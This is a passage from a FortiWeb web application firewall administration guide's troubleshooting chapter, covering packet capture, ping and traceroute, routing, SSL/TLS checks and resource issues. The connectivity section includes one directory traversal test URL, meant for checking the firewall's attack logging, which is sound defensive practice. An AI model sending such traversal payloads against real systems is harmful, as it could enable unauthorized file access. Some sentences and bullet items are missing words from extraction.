7. In Log file name, click the Browse button, then choose a directory path and file name such as C:\Users\MyAccount\packet_capture.txt to save the packet capture to a plain text file. (You do not need to save it with the .log file extension.)
8. Click Apply.
9. Press Enter to send the CLI command to the FortiWeb appliance, beginning packet capture.
10.If you have not specified a number of packets to capture, when you have captured all packets that you want to analyze, press Ctrl + C to stop the capture.
11.Close the PuTTY window.
12.Open the packet capture file using a plain text editor such as Notepad.
Fortinet
13.Delete the first and last lines, which look like this:
=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2014.07.25 11:34:40
=~=~=~=~=~=~=~=~=~=~=~=
FortiWeb-2000 #
These lines are a PuTTY timestamp and a command prompt, which are not part of the packet capture. If you do not delete them, they could interfere with the script in the next step.
669 FortiWeb 5.2 Patch 2 Administration Guide
14.Convert the plain text file to a format recognizable by your network protocol analyzer application.
You can convert the plain text file to a format (.pcap) recognizable by Wireshark (formerly called Ethereal) using the fgt2eth.pl Perl script. To download fgt2eth.pl, see the Fortinet
Knowledge Base article Using the FortiOS built-in packet sniffer .
The fgt2eth.pl script is provided as-is, without any implied warranty or technical support, and requires that you first install a Perl module compatible with your operating system.
To use fgt2eth.pl, open a command prompt, then enter a command such as the following:
Methods to open a command prompt vary by operating system.
On Windows XP, go to Start > Run and enter cmd.
On Windows 7, click the Start (Windows logo) menu to open it, then enter cmd.
fgt2eth.pl -in packet_capture.txt -out packet_capture.pcap
where:
• fgt2eth.pl
is the name of the conversion script; include the path relative to the current directory, which is indicated by the command prompt
• packet_capture.txt
is the name of the packet capture’s output file; include the directory path relative to your current directory
• packet_capture.pcap
is the name of the conversion script’s output file; include the directory path relative to your current directory where you want the converted output to be saved
Figure 92:Converting sniffer output to .pcap format
Fortinet
15.Open the converted file in your network protocol analyzer application. For further instructions, see the documentation for that application.
670 FortiWeb 5.2 Patch 2 Administration Guide
Figure 93:Viewing sniffer output in Wireshark
For additional information on packet capture, see the Fortinet Knowledge Base article Using the FortiOS built-in packet sniffer .
For more information on CLI commands, see the
FortiWeb CLI Reference
.
Diagnostic commands in the CLI
Most diagnostic tools are in the CLI — they are not available from the web UI. Many are shown in
“Solutions by issue type” on page 673 . For more information on diagnose and other CLI
commands, see the
FortiWeb CLI Reference
.
How to troubleshoot
If you are new to troubleshooting network appliances in general, this section outlines some basic skills.
Establishing a system baseline
Before you can define an abnormal operation, you need to know what normal operation is.
When there is a problem, a baseline for normal operation helps you to define what is wrong or changed.
Baseline information can include:
• Logging (see
“Enabling log types, packet payload retention, & resource shortage alerts” on page 575
)
• Monitoring performance statistics such as memory usage (see
“System Resources widget” on page 566
and
“SNMP traps & queries” on page 612
)
•
Regular backups of the FortiWeb appliance's configuration (see “Backups” on page 215 )
Fortinet 671 FortiWeb 5.2 Patch 2 Administration Guide
If you accidently change something, the backup can help you restore normal operation quickly and easily. Backups also can aid in troubleshooting: you can use a tool such as
parts of the configuration that have changed.
See also
•
•
Fortinet
Determining the source of the problem
To know which solutions to try, you first need to locate the source of the problem. Occasionally, a problem has more than one possible source. To find a working solution, you will need to determine the exact source of the problem.
•
Did FortiWeb’s hardware and software both start properly? If not, see “Bootup issues” on page 691
.
• Are you having
• What has recently changed?
Do not assume that nothing has changed in the network. Use
and
something changed in the configuration, and
to see if an unusual condition occurred. If the configuration did change, see what the effect is when you roll back the change.
• Does your configuration involve HTTPS?
If yes, make sure your certificate is loaded and valid.
• Are any web servers down?
Check the
Server Status widget on the dashboard.
• Is a policy disabled?
• Does the problem originate on the camera, FortiWeb, or your computer? There are two sides to every connection. See
“Connectivity issues” on page 674
.
• Does the problem affect only specific clients or servers? Are they all of the same type?
• Is the problem intermittent or random? Or can you reproduce it reliably, regardless of which camera or computer you use to connect to FortiWeb?
If the problem is intermittent, you can use the
to see whether the
problem corresponds to FortiWeb processor or RAM exhaustion. See “Resource issues” on page 687
.
You can also view the event log. (If there is no event log, someone may have disabled that
feature. See “Enabling log types, packet payload retention, & resource shortage alerts” on page 575
.)
• Is your system under attack?
View the
Attack Log Console widget on the dashboard.
See also
•
•
•
•
•
•
672 FortiWeb 5.2 Patch 2 Administration Guide
Planning & access privileges
Create a checklist so that you know what you have tried, and what is left to check.
If you need to contact Fortinet Technical Support, it helps to provide a list of what data you gathered and what solutions you tried. This prevents duplicated efforts, and minimizes the time required to resolve your ticket.
If you need access to other networking equipment such as switches, routers, and servers to help you test, contact your network administrator. Fortinet Technical Support will not have access to this other equipment. However, they may need to ask you to adjust a setting on the other equipment.
If you are not using the admin account on FortiWeb, verify that your account has the permissions you need to run all diagnostic s.
Solutions by issue type
Recommended solutions vary by the type of issue.
•
•
•
•
•
Fortinet also provides these resources:
• the Release Notes provided with your firmware
• Technical documentation (references, installation guides, and other documents)
• Knowledge base (technical support articles)
• Forums
• Online campus (tutorials and training materials)
Check within your organization. You can save time and effort during the troubleshooting process by checking if other FortiWeb administrators experienced a similar problem before.
Fortinet 673 FortiWeb 5.2 Patch 2 Administration Guide
Connectivity issues
One of your first tests when configuring a new policy should be to determine whether allowed traffic is flowing to your web servers.
• Is there a server policy applied to the web server or servers FortiWeb was installed to protect? If it is operating in reverse proxy mode, FortiWeb will not allow any traffic to reach a protected web server unless there is a matching server policy that permits it.
• If your network utilizes secure connections (HTTPS) and there is no traffic flow, is there a problem with your certificate?
• If you run a test attack from a browser aimed at your web site, does it show up in the attack log?
To verify, configure FortiWeb to detect the attack, then craft a proof-of-concept that will trigger the attack sensor. For example, to see whether directory traversal attacks are being logged and/or blocked, you could use your web browser to go to: http://www.example.com/login?user=../../../../
Under normal circumstances, you should see a new attack log entry in the
Console widget of the system dashboard.
See also
•
•
•
•
•
•
Debugging the packet processing flow
•
•
•
Checking hardware connections
If there is no traffic flowing from the FortiWeb appliance, it may be a hardware problem.
Fortinet 674 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To check hardware connections
• Ensure the network cables are properly plugged in to the interfaces on the FortiWeb appliance.
• Ensure there are connection lights for the network cables on the appliance.
• Change the cable if the cable or its connector are damaged or you are unsure about the cable’s type or quality.
• Connect the FortiWeb appliance to different hardware to see if that makes a difference.
• In the web UI, select Status > Network > Interface and ensure the link status is up for the interface.
If the status is down (down arrow on red circle), click Bring Up next to it in the Status column.
You can also enable an interface in CLI, for example: config system interface edit port2 set status up end
If any of these checks solve the problem, it was a hardware connection issue. You should still perform some basic software tests to ensure complete connectivity.
If the hardware connections are correct and the appliance is powered on but you cannot connect using the CLI or web UI, you may be experiencing bootup problems. See
.
Examining the ARP table
When you have poor connectivity, another good place to look for information is the address resolution protocol (ARP) table. A functioning ARP is especially important in high-availability configurations.
To check the ARP table in the CLI, enter: diagnose network arp list
Checking routing
ping
and traceroute are useful tools in network connectivity and route troubleshooting.
Since you typically use these tools to troubleshoot, you can allow ICMP, the protocol used by these tools, in firewall policies and on interfaces only when you need them. Otherwise, disable
ICMP for improved security and performance.
By default, the FortiWeb appliance will forward only HTTP/HTTPS traffic to your protected web servers. (That is, routing/IP-based forwarding is disabled.) For information on enabling forwarding of FTP or other protocols, see the config router setting command in the
FortiWeb CLI Reference
.
By default, FortiWeb appliances will respond to ping and traceroute. However, if the appliance does not respond, and there are no firewall policies that block it, ICMP type 0
(ECHO_REPSPONSE) might be effectively disabled.
To enable ping and traceroute responses from FortiWeb
1. Go to System > Network > Interface.
To access this part of the web UI, you must have Read and Write permission in your administrator's account access profile to items in the Router Configuration category. For
details, see “Permissions” on page 52
.
675 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
2. In the row for the network interface which you want to respond to ICMP type 8
(ECHO_REQUEST) for ping and UDP for traceroute, click Edit.
A dialog appears.
.
Disabling
only prevents FortiWeb from receiving ICMP type 8 (ECHO_REQUEST) and
traceroute-related UDP and responding to it.
It does not disable FortiWeb CLI commands such as execute ping or execute traceroute
that send such traffic.
4. If
have been restricted, verify that they include your computer or device’s IP address. Otherwise FortiWeb will not respond.
5. Click OK.
The appliance should now respond when another device such as your management computer sends a ping or traceroute to that network interface.
To verify routes between clients and your web servers
1. Attempt to connect through the FortiWeb appliance, from a client to a protected web server, via HTTP and/or HTTPS.
If the connectivity test fails, continue to the next step.
2. Use the ping command on both the client and the server to verify that a route exists between the two. Test traffic movement in both directions: from the client to the server, and the server to the client. Web servers do not need to be able to initiate a connection, but must be able to send reply traffic along a return path.
In networks using features such as asymmetric routing, routing success in one direction does
not guarantee success in the other.
If the routing test succeeds, continue with step 4 .
If the routing test fails, continue to the next step.
3. Use the tracert or traceroute command on both the client and the server (depending on their operating systems) to locate the point of failure along the route.
If the route is broken when it reaches the FortiWeb appliance, first examine its network interfaces and routes. To display network interface addresses and subnets, enter the CLI command: show system interface
To display all recently-used routes with their priorities, enter the CLI command: diagnose network route list
You may need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, misconfigured DNS records, and otherwise rule out problems at the physical, network, and transport layer.
If these tests succeed, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.
676 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
4. For application-layer problems, on the FortiWeb, examine the:
• matching server policy and all components it references
• certificates (if connecting via HTTPS)
• web server service/daemon (it should be running, and configured to listen on the port specified in the server policy for HTTP and/or HTTPS, for virtual hosts, they should be configured with a correct Host: name)
On routers and firewalls between the host and the FortiWeb appliance, verify that they permit
HTTP and/or HTTPS connectivity between them.
Testing for connectivity with ping
The ping command sends a small data packet to the destination and waits for a response. The response has a timer that may expire, indicating that the destination is unreachable via ICMP.
Connectivity via ICMP only proves that a route exists. It does not prove that connectivity also exists via other protocols at other layers such as HTTP.
ICMP is part of Layer 3 on the OSI Networking Model. ping sends Internet Control Message
Protocol (ICMP) ECHO_REQUEST (“ping”) packets to the destination, and listens for
ECHO_RESPONSE
(“pong”) packets in reply.
Some networks block ICMP packets because they can be used in a ping flood or denial of service (DoS) attack if the network does not have anti-DoS capabilities, or because ping can be used by an attacker to find potential targets on the network.
Beyond basic existence of a possible route between the source and destination, ping tells you the amount of packet loss (if any), how long it takes the packet to make the round trip (latency), and the variation in that time from packet to packet (jitter).
If ping shows some packet loss, investigate:
• cabling to eliminate loose connections
• ECMP, split horizon, or network loops
• all equipment between the ICMP source and destination to minimize hops
If ping shows total packet loss, investigate:
• cabling to eliminate incorrect connections
• all firewalls, routers, and other devices between the two locations to verify correct IP addresses, routes, MAC lists, trusted hosts, and policy configurations
If ping finds an outage between two points, use traceroute to locate exactly where the problem is.
To ping a device from the FortiWeb CLI
1. Log in to the CLI via either SSH, Telnet, or You can ping from the FortiWeb appliance in the
CLI Console widget of the web UI.
2. If you want to adjust the behavior of execute ping, first use the execute ping-options
command. For details, see the
FortiWeb CLI Reference
.
677 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
3. Enter the command: execute ping <destination_ipv4> where <destination_ipv4> is the IP address of the device that you want to verify that the appliance can connect to, such as 192.168.1.1.
To verify that routing is bidirectionally symmetric, you should also ping the appliance. See
“To enable ping and traceroute responses from FortiWeb” on page 675 and
“To ping a device from a Microsoft Windows computer” on page 678 or
“To ping a device from a Linux or Mac OS X computer” on page 679 .
If the appliance can reach the host via ICMP, output similar to the following appears:
PING 192.168.1.1 (192.168.1.1): 56 data bytes
64 bytes from 192.168.1.1: icmp_seq=0 ttl=253 time=6.5 ms
64 bytes from 192.168.1.1: icmp_seq=1 ttl=253 time=7.4 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=253 time=6.0 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=253 time=5.5 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=253 time=7.3 ms
--- 192.168.1.1 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 5.5/6.5/7.4 ms
If the appliance cannot reach the host via ICMP, output similar to the following appears:
PING 10.0.0.1 (10.0.0.1): 56 data bytes
Timeout ...
Timeout ...
Timeout ...
Timeout ...
Timeout ...
--- 10.0.0.1 ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss
“100% packet loss” and “Timeout” indicates that the host is not reachable.
For more information, see the
FortiWeb CLI Reference
.
To ping a device from a Microsoft Windows computer
1. Click the Start (Windows logo) menu to open it.
If the host is running Windows XP, instead, go to Start > Run...
2. Type cmd then press Enter.
The Windows command line appears.
678 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
3. Enter the command: ping <options_str> <destination_ipv4> where:
•
<destination_ipv4>
is the IP address of the device that you want to verify that the computer can connect to, such as 192.168.1.1.
•
<options_str>
are zero or more options, such as:
•
-t
— Send packets until you press Control-C.
•
-a
— Resolve IP addresses to domain names where possible.
•
-n x
— Where x is the number of packets to send.
For example, you might enter: ping -n 5 192.168.1.1
If the computer can reach the destination, output similar to the following appears:
Pinging 192.168.1.1 with 32 bytes of data:
Reply from 192.168.1.1: bytes=32 time=7ms TTL=253
Reply from 192.168.1.1: bytes=32 time=6ms TTL=253
Reply from 192.168.1.1: bytes=32 time=11ms TTL=253
Reply from 192.168.1.1: bytes=32 time=5ms TTL=253
Ping statistics for 192.168.1.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 5ms, Maximum = 11ms, Average = 7ms
If the computer cannot reach the destination, output similar to the following appears:
Pinging 10.0.0.1 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 10.0.0.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
“100% loss” and “Request timed out.” indicates that the host is not reachable.
To ping a device from a Linux or Mac OS X computer
1. Open a command prompt.
Alternatively, on Mac OS X, you can use the Network Utility application.
679 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
2. Enter the following command: ping <options_str> <destination_ipv4> where:
•
<destination_ipv4>
is the IP address of the device that you want to verify that the computer can connect to, such as 192.168.1.1.
•
<options_str>
are zero or more options, such as:
•
-W y
— Wait y seconds for ECHO_RESPONSE.
•
-c x
— Where x is the number of packets to send.
If the command is not found, you can either enter the full path to the executable or add its path to your shell environment variables. The path to the ping executable varies by distribution, but may be /bin/ping.
If you do not supply a packet count, output will continue until you terminate the command with Control-C. For more information on options, enter man ping.
For example, you might enter: ping -c 5 -W 2 192.168.1.1
If the computer can reach the destination via ICMP, output similar to the following appears:
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=253 time=6.85 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=253 time=7.64 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=253 time=8.73 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=253 time=11.0 ms
64 bytes from 192.168.1.1: icmp_seq=5 ttl=253 time=9.72 ms
--- 192.168.1.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4016ms rtt min/avg/max/mdev = 6.854/8.804/11.072/1.495 ms
If the computer cannot reach the destination via ICMP, if you specified a wait and packet count rather than having the command wait for your Control-C, output similar to the following appears:
PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
--- 10.0.0.1 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 5999ms
“100% packet loss” indicates that the host is not reachable.
Otherwise, if you terminate by pressing Control-C (^C), output similar to the following appears:
PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
From 172.20.120.2 icmp_seq=31 Destination Host Unreachable
From 172.20.120.2 icmp_seq=30 Destination Host Unreachable
From 172.20.120.2 icmp_seq=29 Destination Host Unreachable
^C
--- 10.0.0.1 ping statistics ---
41 packets transmitted, 0 received, +9 errors, 100% packet loss, time
40108ms pipe 3
“100% packet loss” and “Destination Host Unreachable” indicates that the host is not reachable.
680 FortiWeb 5.2 Patch 2 Administration Guide
Testing routes & latency with traceroute traceroute
sends ICMP packets to test each hop along the route. It sends three packets to the destination, and then increases the time to live (TTL) setting by one, and sends another three packets to the destination. As the TTL increases, packets go one hop farther along the route until they reach the destination.
Most traceroute commands display their maximum hop count — that is, the maximum number of steps it will take before declaring the destination unreachable — before they start tracing the route. The TTL setting may result in routers or firewalls along the route timing out due to high latency.
Where ping only tells you if the signal reached its destination and returned successfully, traceroute
shows each step of its journey to its destination and how long each step takes. If you specify the destination using a domain name, the traceroute output can also indicate
DNS problems, such as an inability to connect to a DNS server.
By default, traceroute uses UDP with destination ports numbered from 33434 to 33534. The traceroute utility usually has an option to specify use of ICMP ECHO_REQUEST (type 8) instead, as used by the Windows tracert utility. If you have a firewall and you want traceroute to work from both machines (Unix-like systems and Windows) you will need to allow both protocols inbound through your firewall (UDP ports 33434 - 33534 and ICMP type 8).
To trace the route to a device from the FortiWeb CLI
1. Log in to the CLI via either SSH, Telnet, or You can ping from the FortiWeb appliance in the
CLI Console widget of the web UI.
Fortinet 681 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
2. Enter the command: execute traceroute {<destination_ipv4> | <destination_fqdn>} where {<destination_ipv4> | <destination_fqdn>} is a choice of either the device’s IP address or its fully qualified domain name (FQDN).
For example, you might enter: execute traceroute www.example.com
If the appliance has a complete route to the destination, output similar to the following appears: traceroute to www.fortinet.com (66.171.121.34), 32 hops max, 84 byte packets
1 172.16.1.2 0 ms 0 ms 0 ms
2 209.87.254.221 <static-209-87-254-221.storm.ca> 2 ms 2 ms 2 ms
3 209.87.239.129 <core-2-g0-1-1104.storm.ca> 2 ms 1 ms 2 ms
4 67.69.228.161 2 ms 2 ms 3 ms
5 64.230.164.17 <core2-ottawa23_POS13-1-0.net.bell.ca> 3 ms 3 ms
2 ms
6 64.230.132.234 <core2-ottawatc_POS5-0-0.net.bell.ca> 20 ms 20 ms 20 ms
7 64.230.132.58 <core4-toronto21_POS0-12-4-0.net.bell.ca> 24 ms
21 ms 24 ms
8 64.230.138.154 <bx4-toronto63_so-2-0-0-0.net.bell.ca> 8 ms 9 ms
8 ms
9 64.230.185.145 <bx2-ashburn_so2-0-0.net.bell.ca> 23 ms 23 ms
23 ms
10 12.89.71.9 23 ms 22 ms 22 ms
11 12.122.134.238 <cr2.wswdc.ip.att.net> 100 ms 12.123.10.130
<cr2.wswdc.ip.att.net> 101 ms 102 ms
12 12.122.18.21 <cr1.cgcil.ip.att.net> 101 ms 100 ms 99 ms
13 12.122.4.121 <cr1.sffca.ip.att.net> 100 ms 98 ms 100 ms
14 12.122.1.118 <cr81.sj2ca.ip.att.net> 98 ms 98 ms 100 ms
15 12.122.110.105 <gar2.sj2ca.ip.att.net> 96 ms 96 ms 96 ms
16 12.116.52.42 94 ms 94 ms 94 ms
17 203.78.181.10 88 ms 87 ms 87 ms
18 203.78.181.130 90 ms 89 ms 90 ms
19 66.171.121.34 <fortinet.com> 91 ms 89 ms 91 ms
20 66.171.121.34 <fortinet.com> 91 ms 91 ms 89 ms
Each line lists the routing hop number, the IP address and FQDN (if any) of that hop, and the
3 response times from that hop. Typically a value of <1ms indicates a local router.
If the appliance does not have a complete route to the destination, output similar to the following appears: traceroute to 10.0.0.1 (10.0.0.1), 32 hops max, 84 byte packets
1 172.16.1.2 0 ms 0 ms 0 ms
2 172.16.1.10 0 ms 0 ms 0 ms
3 * * *
4 * * *
The asterisks ( * ) indicate no response from that hop in the network routing. For more information, see the
FortiWeb CLI Reference
.
682 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To trace the route to a device from a Microsoft Windows computer
1. Click the Start (Windows logo) menu to open it.
If the host is running Windows XP, instead, go to Start > Run...
2. Type cmd then press Enter.
The Windows command line appears.
3. Enter the command: tracert {<destination_ipv4> | <destination_fqdn>}
If the appliance has a complete route to the destination, output similar to the following appears:
Tracing route to www.fortinet.com [66.171.121.34] over a maximum of 30 hops:
1 <1 ms <1 ms <1 ms 172.16.1.2
2 2 ms 2 ms 2 ms static-209-87-254-221.storm.ca
[209.87.254.221]
3 2 ms 2 ms 22 ms core-2-g0-1-1104.storm.ca
[209.87.239.129]
4 3 ms 3 ms 2 ms 67.69.228.161
5 3 ms 2 ms 3 ms core2-ottawa23_POS13-1-0.net.bell.ca
[64.230.164
.17]
(Output abbreviated.)
15 97 ms 97 ms 97 ms gar2.sj2ca.ip.att.net [12.122.110.105]
16 94 ms 94 ms 94 ms 12.116.52.42
17 87 ms 87 ms 87 ms 203.78.181.10
18 89 ms 89 ms 90 ms 203.78.181.130
19 89 ms 89 ms 90 ms fortinet.com [66.171.121.34]
20 90 ms 90 ms 91 ms fortinet.com [66.171.121.34]
Trace complete.
Each line lists the routing hop number, the 3 response times from that hop, and the IP address and FQDN (if any) of that hop. Typically a value of <1ms indicates a local router.
If the appliance does not have a complete route to the destination, output similar to the following appears:
Tracing route to 10.0.0.1 over a maximum of 30 hops
1 <1 ms <1 ms <1 ms 172.16.1.2
2 <1 ms <1 ms <1 ms 172.16.1.10
3 * * * Request timed out.
4 * * * Request timed out.
5 ^C
The asterisks ( * ) and “Request timed out.” indicate no response from that hop in the network routing.
683 FortiWeb 5.2 Patch 2 Administration Guide
To trace the route to a device from a Linux or Mac OS X computer
1. Open a command prompt.
Alternatively, on Mac OS X, you can use the Network Utility application.
Fortinet
2. Enter (the path to the executable varies by distribution): traceroute {<destination_ipv4> | <destination_fqdn>}
If the appliance has a complete route to the destination, output similar to the following appears: traceroute to www.fortinet.com (66.171.121.34), 30 hops max, 60 byte packets
1 172.16.1.2 (172.16.1.2) 0.189 ms 0.277 ms 0.226 ms
2 static-209-87-254-221.storm.ca (209.87.254.221) 2.554 ms 2.549 ms 2.503 ms
3 core-2-g0-1-1104.storm.ca (209.87.239.129) 2.461 ms 2.516 ms
2.417 ms
4 67.69.228.161 (67.69.228.161) 3.041 ms 3.007 ms 2.966 ms
5 core2-ottawa23_POS13-1-0.net.bell.ca (64.230.164.17) 3.004 ms
2.998 ms 2.963 ms
(Output abbreviated.)
16 12.116.52.42 (12.116.52.42) 94.379 ms 94.114 ms 94.162 ms
17 203.78.181.10 (203.78.181.10) 122.879 ms 120.690 ms 119.049 ms
18 203.78.181.130 (203.78.181.130) 89.705 ms 89.411 ms 89.591 ms
19 fortinet.com (66.171.121.34) 89.717 ms 89.584 ms 89.568 ms
Each line lists the routing hop number, the IP address and FQDN (if any) of that hop, and the
3 response times from that hop. Typically a value of <1ms indicates a local router.
If the appliance does not have a complete route to the destination, output similar to the following appears: traceroute to 10.0.0.1 (10.0.0.1), 30 hops max, 60 byte packets
1 * * *
2 172.16.1.10 (172.16.1.10) 4.160 ms 4.169 ms 4.144 ms
3 * * *
4 * * *^C
The asterisks ( * ) indicate no response from that hop in the network routing.
Relatedly, if the computer’s DNS query cannot resolve the host name, output similar to the following appears: example.lab: Name or service not known
Cannot handle "host" cmdline arg `example.lab' on position 1 (argc 1)
Examining the routing table
When a route does not exist, or when hops have high latency, examine the routing table. The routing table is where the FortiWeb appliance caches recently used routes.
If a route is cached in the routing table, it saves time and resources that would otherwise be required for a route lookup. If the routing table is full and a new route must be added, the oldest, least-used route is deleted to make room.
684 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
To check the routing table in the CLI, enter: diagnose network route list
Checking port assignments
If you are attempting to connect to FortiWeb on a given network port, and the connection is expected to occur on a different port number, the attempt will fail. For a list of ports used by
FortiWeb, see “Appendix A: Port numbers” on page 699
. For ports used by your own HTTP network services, see
“Defining your network services” on page 290
.
Performing a packet trace
When troubleshooting malformed packet or protocol errors, it helps to look inside the protocol headers of packets to determine if they are traveling along the route you expect, and with the
flags and other options you expect. For instructions, see “Packet capture” on page 666
.
If you configure virtual servers on your FortiWeb appliance, packets’ destination IP addresses will be those IP addresses, not the physical IP addresses (i.e., the IP address of port1, etc.). An
ARP update is sent out when a virtual IP address is configured.
If the packet trace shows that packets are arriving at your FortiWeb appliance’s interfaces but no HTTP/HTTPS packets egress, check that:
• Physical links are firmly connected, with no loose wires
•
Network interfaces/bridges are brought up (see “Configuring the network interfaces” on page 121
)
•
Link aggregation peers, if any, are up (see “Link aggregation” on page 129 )
• VLAN IDs, if any, match (see
“Adding VLAN subinterfaces” on page 125 )
•
Virtual servers or V-zones exist, and are enabled (see “Configuring a bridge (V-zone)” on page 132
and
“Configuring virtual servers on your FortiWeb” on page 288 )
• Matching policies exist, and are enabled (see
“Configuring basic policies” on page 157 )
•
)
• IP-layer, and HTTP-layer routes, if necessary, match (see
“Adding a gateway” on page 135
and
“Routing based upon URL, cookie, or “Host:” name” on page 275
)
• Web servers are responsive, if server health checks are configured and enabled (see
“Configuring server up/down checks” on page 265 )
• Load balancers, if any, are defined (see
“Defining your proxies, clients, & X-headers” on page 281
)
•
Clients are not blacklisted (see “Monitoring currently blocked IPs” on page 639
)
For offline protection mode, it is usually normal if HTTP/HTTPS packets do not egress. The nature of this deployment style is to listen only, except to reset the TCP connection if FortiWeb detects traffic in violation.
If the packet is accepted by the policy but appears to be dropped during processing, see
“Debugging the packet processing flow” on page 686 .
685 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Debugging the packet processing flow
If you have determined that network traffic is not entering and leaving the FortiWeb appliance as expected, or not flowing through policies and scans as expected, you can debug the packet flow using the CLI.
For example, the following commands enable debug logs and the logs timestamp, and set other parameters for debug logging: diagnose debug enable diagnose debug console timestamp enable diagnose debug application proxy 7 diagnose debug flow show module-process-detail diagnose debug flow trace start diagnose debug flow filter server-ip 172.16.1.20
For detailed information on the diagnose debug commands, see the
FortiWeb CLI
Reference
.
Checking the SSL/TLS handshake & encryption
If the client is attempting to make an HTTPS connection, but the attempt fails after the connection has been initiated, during negotiation, the problem may be with SSL/TLS.
Symptoms may include error messages such as:
• ssl_error_no_cypher_overlap
(Mozilla Firefox 9.0.1)
•
Error 113 (net::ERROR_SSL_VERSION_OR_CIPHER_MISMATCH): Unknown error.
(Google Chrome 16.0.912.75 m)
Expected SSL/TLS behavior varies by SSL inspection vs. SSL offloading (see
“Offloading vs. inspection” on page 294
):
•
The handshake is between the client and FortiWeb. If the connection cannot be established, verify that the browser supports one of the key exchanges, encryption algorithms, and
• SSL inspection — Offline protection mode and transparent inspection mode only.
The handshake is between the client and the web server. If the connection cannot be established, verify that the browser supports one of the key exchanges, encryption algorithms, and authentication (hashes) suggested by the web server. Server-side, you must also verify that your web server supports enough cipher suites that all required clients can connect.
Google Chrome will prefer an anonymous Diffie-Hellman key exchange. This has the property of perfect forward secrecy, which makes SSL inspection theoretically impossible. To guarantee that this is not used to hide attacks from FortiWeb, you must disable it on your web server. On
Apache, you would add !ADH to the SSLCipherSuite configuration line. For example:
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
686 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
If you are not sure which cipher suites are currently supported, you can use SSL tools such as
OpenSSL to discover support. For example, you could use this client-side command to know whether the web server or FortiWeb supports strong (HIGH) encryption: openssl s_client -connect example.com:443 -cipher HIGH or supports deprecated or old versions such as SSL 2.0: openssl s_client -ssl2 -connect example.com:443
If your web servers are required to comply with PCI DSS, you should make sure that your web servers do not allow weak encryption. For example, if your web servers accept SSL 2.0 or MD5 hashes, you may fail your PCI DSS audit.
Resource issues
This section includes troubleshooting questions related to sluggish or stalled performance.
• Is a process consuming too much system resources?
See “Killing system-intensive processes” on page 687 .
• Is a server under attack?
See “Preparing for attacks” on page 688
.
• Has there been a sustained spike in HTTP traffic related to a specific policy?
See “Monitoring traffic load” on page 688
.
Killing system-intensive processes
Use the CLI to view the per-CPU/core process load level and a list of the most system-intensive processes. This may show processes that are consuming resources unusually. For example: diagnose system top 10
The above command generates a report of processes every 10 seconds. The report provides the process names, their process ID (pid), status, CPU usage, and memory usage.
The report continues to refresh and display in the CLI until you press q (quit).
Once you locate an offending PID, you can terminate it: diagnose system kill 9 <pid_int>
To determine if high load is frequently a problem, you can display the average load level by using these CLI commands: get system performance diagnose system load
For more information, see the
FortiWeb CLI Reference
.
If the issue recurs, and corresponds with a signature or configuration change, you may need to optimize regular expressions to prevent the issue from recurring. See
“Debugging the packet processing flow” on page 686
and “Regular expression performance tips” on page 648 .
687 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Monitoring traffic load
Heavy traffic loads can cause sustained high CPU or RAM usage. If this is unusual, no action may be required, unless you are being subject to a DoS attack. Sustained heavy traffic load may indicate that you need a more powerful model of FortiWeb.
In the FortiWeb appliance's web UI, you can view traffic load two ways:
• Monitor current HTTP traffic on the dashboard. Go to System > Status > Status and examine the graphs in the Policy Summary widget.
• Examine traffic history in the traffic log. Go to Logs&Report > Log Access > Traffic.
Preparing for attacks
A prolonged denial of service (DoS) or brute-force login attack (to name just a few) can bring your web servers to a standstill, if your FortiWeb appliance is not configured for it.
To fight DoS attacks, see “DoS prevention” on page 356 .
In the FortiWeb appliance's web UI, you can watch for attacks in two ways:
• Monitor current HTTP traffic on the dashboard. Go to System > Status > Status and examine the attack event history graph in the Policy Summary widget.
• Examine attack history in the traffic log. Go to Logs&Report > Log Access > Attack.
Before attacks occur, use the FortiWeb appliance's rich feature set to configure attack defenses.
Login issues
If the person cannot access the login page at all, it is usually actually a connectivity issue (see
“Ping & traceroute” on page 663
and “Configuring the network settings” on page 119 ) unless all
accounts are configured to accept logins only from specific IP addresses (see
“Trusted Host #1” on page 224 ).
If an administrator can connect, but cannot log in, even though providing the correct account name and password, and is receiving this error message:
Too many bad login attemptsor reached max number of logins. Please try again in a few minutes. Login aborted.
single administrator mode may have been enabled. See
“Enable Single Admin User login” on page 59
.
If the person has lost or forgotten his or her password, the admin account can reset other accounts’ passwords (see
“Changing an administrator’s password” on page 228
).
Checking user authentication policies
In FortiWeb, users and organized into groups. Groups are part of authentication policies. If several users have authentication problems, it is possible someone changed authentication policy or user group memberships. If a user is legitimately having an authentication policy, you need to find out where the problem lies.
To troubleshoot user access
